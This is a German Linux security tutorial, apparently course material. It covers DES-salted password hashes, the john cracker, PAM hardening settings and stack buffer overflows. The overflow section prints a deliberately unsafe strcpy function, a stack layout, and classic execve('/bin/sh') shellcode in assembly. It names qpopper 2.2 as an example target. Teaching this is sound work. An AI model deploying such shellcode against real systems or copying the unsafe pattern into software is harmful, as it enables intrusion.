Passwörter
Die Sicherheit eines Linux-Systems steht und fällt mit der
Qualität der Passwörter. Lassen sie sich leicht erraten oder
sind sie zu kurz, lassen sie sich mit nur geringem Aufwand
knacken.
Ein Beispiel für ein Crack-Programm ist john. Leichte
Passwörter werden in nur wenigen Sekunden erraten.
Mit diesem
Programm sollte von Zeit zu Zeit die Qualität der Passwörter
abgeklopft werden.
Funktionsweise des aktuellen Linux-Passwort-Systems
 - Userinformation werden in /etc/passwd und Passwörter
 in der Datei /etc/shadow gespeichert.
 
 - Das Passwort ist 13 Zeichen lang, wobei die ersten beiden Zeichen
 das sogenannte Salt bilden und die folgenden 11 Zeichen das
 eigentliche verschlüsselte Passwort. Das Passwort wird Wie folgt
 erzeugt:
 
  - Aktueller Zeitpunkt dient als Seed
  
 - Das Passwort wird auf 8 Zeichen abgeschnitten
  
 - Die jeweils ersten 7 Bit aller Zeichen ergeben zusammen einen 56
  Bit Key
  
 - Mit diesem Key wird ein 64 Bit Block aus Nullen (00000000) mit
  dem Seed als Startwert verschlüsselt
  
 - Mit diesem Ergebnis als neuen Schlüssel wird der Vorgang 25
  mal wiederholt.
  
 - Dieses Ergebnis wird auf 11 Zeichen gekürzt und zusammen
  mit dem Salt in der Datei /etc/shadow gespeichert
 
 
  - Das Passwort kann durch diesen DES-Hash zwar leicht erzeugt, aber nur
 extrem schwer rekonstruiert werden
 
 - Im Falle einer Authentifizierung wird das aktuelle Passwort mit
 diesem Hash verschlüsselt und anschließend mit dem
 verschlüsselten Passwort verglichen. Fällt der Vergleich
 positiv aus, so ist der Benutzer authentifiziert.
 
Pluggable Authentication Module (PAM)
Noch besser ist allerdings, das Standard-Passwort-System durch PAM zu
ersetzen. Dies ist bei SuSE-Linux ab der Version 6.2 integriert, benötigt
allerdings noch etwas Feintuning. Eine Nachrüstung ist schwierig,
da sämtliche Dienste, die Authentifizierung verwenden, neu
compiliert werden müssen.
Funktionsweise PAM
 - Ein Benutzer möchte sich bei einem Dienst authentifizieren
 
 - Der Dienst leitet die Anfrage an PAM weiter
 
 - PAM authentifiziert den Benutzer, oder auch nicht
 
 - PAM liefert die Freigabe / Ablehnung an den Dienst zurück
 
Konfiguration von PAM
PAM lässt sich auf zwei Arten konfigurieren, hier wird allerdings
nur die Verzeichnismethode beschrieben, da sie verbreiteter ist und
flexibler.
Das Konfiguration-Verzeichnis ist /etc/pam.d. Hier befindet
sich für jeden Dienst genau eine Konfigurationsdatei,
z.B. passwd.
Der Aufbau ist folgender:
module-type        control-flag   module-path   arguments
module-type        control-flag   module-path   arguments
othermodule-type   control-flag   module-path   arguments
othermodule-type   control-flag   module-path   arguments
module-type (vereinfacht)
 - auth: Benutzerauthentifizierung. Stellt sicher, dass
 der Benutzer derjenige ist, der er vorgibt zu sein
 
 - account:Feinere
 Account-Einstellungen. Z.B. root-Login nur an realer Konsole oder zu
 bestimmten Zeiten
 
 - session: Erledigt Dinge vor Einloggen und nach
 Ausloggen.
 
 - password: Ändert Passwörter
 
control-flag (vereinfacht)
 - required: Dieses Modul muss zwingend erfolgreich
 durchlaufen werden. Folgende Module desselben Typs müssen
 verarbeitet werden.
 
 - requisite: Im Fehlerfalle wird nach Abarbeiten
 dieses Moduls in den aufrufenden Dienst zurückgekehrt,
 andernfalls werden weitere Module desselben Typs ausgeführt.
 
 - sufficient: Bei Erfolg und keinen verherigen
 Fehlerfalle, wird in den Dienst zurückgekehrt. Sonst
 wird das nächste Modul ausgeführt, Fehler ist aber bedeutungslos.
 
 - optional: Modul fällt nur ins Gewicht, wenn
 ansonsten kein anderes Modul positiv durchlaufen wird.
 
arguments (unvollständig)
 - debug: Zusätzliche Informationen in Syslog schreiben
 
 - use_first_pass: Benutze Password von vorherigem
 Modul
 
 - md5: sichereren MD5-Hash zum Verschlüsseln von
 Passwörtern verwenden
 
 - ...
 
Ob ein Programm PAM-Funktionalität besitzt. lässt sich auf
eine unschöne, aber einfache Art mit ldd appname
herausfinden. Taucht libpam.so in der Liste auf, so benutzt die
Applikation PAM zur Authentifizierung.
Leider ist PAM bei der Standardinstallation etwas zu einfach
konfiguriert und bietet eine Fülle an
Schlupflöchern. Folgende Anpassungen sollten durchgeführt
werden:
passwd
password  required pam_cracklib.so  minlen=8
password  required pam_pwdb.so      use_authtok md5
Hiermit wird die minimale Passwortlänge auf 8 Zeichen gesetzt und
der MD5-Hash aktiviert. Nun sind lange Passwörter kein Problem
mehr. Alle neu eingegebenen Passwörter werden md5-codiert. Mit
Hilfe des cracklib-Moduls lassen sich neue Passwörter sofort bei
Eingabe auf Unsicherheiten checken, wie z.B. Benutzername,
emanreztuneB, einfache lexikalische Wörter, Tastaturzeichenfolgen
wie QWERTZ, Ähnlichkeit dem alten Passwort,
Groß/Klein-Schreibung vorhanden, ...
other
auth     required       /lib/security/pam_warn.so
auth     required       /lib/security/pam_deny.so
account  required       /lib/security/pam_warn.so
account  required       /lib/security/pam_deny.so
password required       /lib/security/pam_warn.so
password required       /lib/security/pam_deny.so
session  required       /lib/security/pam_warn.so
session  required       /lib/security/pam_deny.so
Findet sich für eine Applikation keine passende Konfiguration,
wird other gewählt. Dieses gewährt im Normalfalle
jedem den Zutritt. Durch Änderung wie oben, scheitern diese mit
Vermerk im Syslog.
Vorsicht! Falsche Konfiguration kann das System total
unbrauchbar machen!
 
Buffer Overflow
Eine der beliebtesten Einbruchsmethoden ist der sogenannte Buffer
Overflow. Programme, die sich diese Buffer Overflows zu Nutze
machen, nennt man Exploits. Davon wiederum gibt es Varianten,
die nur lokal auf einem System arbeiten, allerdings kommen auch viele
Remote-Exploits in der freien Wildbahn vor.
Der Ablauf ist immer derselbe:
Ein unsauber programmierter Dienst benutzt folgenden
Unterprogrammaufruf:
   void parse(char *arg) {
     char param[1024];
     int  localdata;
     strcpy(param,arg);
     .../...
     return;
   }
 
Dieser grobe Schnitzer erlaubt es, dass der Inhalt von arg den
     Stack nach oben hin vollschreiben kann. Hierbei wird die
     Rücksprungadresse der aufrufenden Routine überschrieben
     und eigener Exploit-Code kann auf dem Stack ausgeführt
     werden. (Zeichnung)
Der Stack wird so manipuliert, dass er folgendes Aussehen hat:
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567     memory
           buffer                sfp   ret   *arg    
<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                bottom of
stack                                                 stack
In ret wird ein Zeiger auf die Funktion abgelegt,
welche parse ausführt.
Ein passendes Assembler-Beispiel könnte etwa so aussehen:
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
Dieses Assembler-Programm holt sich zuerst den Offset für den
Shell-String und fügt an dessen Ende eine "\0" an, gefolgt von
einem Zeiger auf diesen String, dieser wiederum gefolgt von einem
NULL-Zeiger. Anschließend wird die Funktion execve mit
den entsprechenden Parametern in ebx, ecx und edx
aufgerufen. Dieser Auruf startet die angegebene Shell. 
Nach dem Aufruf von execve terminiert das Programm mit einem
Rückgabecode von 0.
Beispiel: qpopper2.2 auf zwergpinselaffe.fh-wedel.de